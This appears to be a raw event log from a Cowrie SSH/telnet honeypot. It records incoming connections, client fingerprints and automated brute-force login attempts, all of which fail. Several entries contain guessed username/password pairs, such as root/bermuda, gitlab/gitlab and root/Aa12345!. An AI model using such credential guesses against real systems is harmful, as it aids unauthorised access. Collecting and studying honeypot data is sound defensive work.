{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:17.718029Z","src_ip":"43.134.175.218","session":"09afee7b9788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:18.666178Z","src_ip":"45.153.34.112","session":"79a8fa88349f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52760,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e61d0825c3b","protocol":"telnet","message":"New connection: 192.119.13.58:52760 (10.17.0.5:23) [session: 9e61d0825c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:18.899177Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59398,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b2a4bb25f5","protocol":"telnet","message":"New connection: 192.119.13.58:59398 (10.17.0.5:23) [session: 78b2a4bb25f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:19.403544Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33608,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fac3dbe5624","protocol":"telnet","message":"New connection: 192.119.13.58:33608 (10.17.0.5:23) [session: 2fac3dbe5624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.000677Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52596,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cdccf0b2dd0","protocol":"ssh","message":"New connection: 45.153.34.112:52596 (10.17.0.5:22) [session: 9cdccf0b2dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.648139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.653492Z","src_ip":"45.153.34.112","session":"9cdccf0b2dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.739061Z","src_ip":"45.153.34.112","session":"9cdccf0b2dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37204,"dst_ip":"10.17.0.5","dst_port":23,"session":"e066e3ab7ae1","protocol":"telnet","message":"New connection: 192.119.13.58:37204 (10.17.0.5:23) [session: e066e3ab7ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.914446Z"}
{"eventid":"cowrie.session.closed","duration":0.004674673080444336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.919014Z","src_ip":"192.119.13.58","session":"e066e3ab7ae1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:20.986558Z","src_ip":"45.153.34.112","session":"9cdccf0b2dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:22.072515Z","src_ip":"45.153.34.112","session":"9cdccf0b2dd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":34652,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd23175244db","protocol":"ssh","message":"New connection: 158.178.141.16:34652 (10.17.0.5:22) [session: dd23175244db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:23.002351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:23.010463Z","src_ip":"158.178.141.16","session":"dd23175244db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:23.226024Z","src_ip":"158.178.141.16","session":"dd23175244db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52612,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1b98d8f664","protocol":"ssh","message":"New connection: 45.153.34.112:52612 (10.17.0.5:22) [session: 7e1b98d8f664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:24.038796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:24.044112Z","src_ip":"45.153.34.112","session":"7e1b98d8f664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bermuda","message":"login attempt [root/bermuda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:24.105690Z","src_ip":"158.178.141.16","session":"dd23175244db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:24.121999Z","src_ip":"45.153.34.112","session":"7e1b98d8f664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:24.440513Z","src_ip":"45.153.34.112","session":"7e1b98d8f664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:25.320117Z","src_ip":"158.178.141.16","session":"dd23175244db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:25.524971Z","src_ip":"45.153.34.112","session":"7e1b98d8f664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":52628,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a27e5c8b5d6","protocol":"ssh","message":"New connection: 45.153.34.112:52628 (10.17.0.5:22) [session: 8a27e5c8b5d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:27.514619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:27.519691Z","src_ip":"45.153.34.112","session":"8a27e5c8b5d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:27.603955Z","src_ip":"45.153.34.112","session":"8a27e5c8b5d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:27.849730Z","src_ip":"45.153.34.112","session":"8a27e5c8b5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:28.954845Z","src_ip":"45.153.34.112","session":"8a27e5c8b5d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.36561059951782,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:30.824752Z","src_ip":"192.119.13.58","session":"7729b117f6bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48970,"dst_ip":"10.17.0.5","dst_port":23,"session":"34aba13075ba","protocol":"telnet","message":"New connection: 192.119.13.58:48970 (10.17.0.5:23) [session: 34aba13075ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:30.870736Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39526,"dst_ip":"10.17.0.5","dst_port":22,"session":"d866fe947ac2","protocol":"ssh","message":"New connection: 45.153.34.112:39526 (10.17.0.5:22) [session: d866fe947ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:31.015098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:31.021009Z","src_ip":"45.153.34.112","session":"d866fe947ac2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:31.103435Z","src_ip":"45.153.34.112","session":"d866fe947ac2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:31.512641Z","src_ip":"45.153.34.112","session":"d866fe947ac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.36.39","src_port":54584,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8c7c464121a","protocol":"ssh","message":"New connection: 43.130.36.39:54584 (10.17.0.5:22) [session: b8c7c464121a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:32.033268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:32.039107Z","src_ip":"43.130.36.39","session":"b8c7c464121a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:32.108138Z","src_ip":"43.130.36.39","session":"b8c7c464121a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12345!","message":"login attempt [root/Aa12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:32.413738Z","src_ip":"43.130.36.39","session":"b8c7c464121a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:32.598107Z","src_ip":"45.153.34.112","session":"d866fe947ac2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.81910181045532,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:33.117722Z","src_ip":"192.119.13.58","session":"0bf601121d7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59100,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf26e9c4c18","protocol":"telnet","message":"New connection: 192.119.13.58:59100 (10.17.0.5:23) [session: 9cf26e9c4c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:33.257145Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:33.485859Z","src_ip":"43.130.36.39","session":"b8c7c464121a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39540,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0730f60c8a5","protocol":"ssh","message":"New connection: 45.153.34.112:39540 (10.17.0.5:22) [session: b0730f60c8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:34.813298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:34.817949Z","src_ip":"45.153.34.112","session":"b0730f60c8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.55169177055359,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:34.880635Z","src_ip":"192.119.13.58","session":"3cdccd08a543","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:34.900026Z","src_ip":"45.153.34.112","session":"b0730f60c8a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:35.149241Z","src_ip":"45.153.34.112","session":"b0730f60c8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.78483057022095,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:35.579880Z","src_ip":"192.119.13.58","session":"acdc2b9022f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:36.276349Z","src_ip":"45.153.34.112","session":"b0730f60c8a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52432,"dst_ip":"10.17.0.5","dst_port":23,"session":"abb7538800a6","protocol":"telnet","message":"New connection: 192.119.13.58:52432 (10.17.0.5:23) [session: abb7538800a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:39:38.082595Z"}
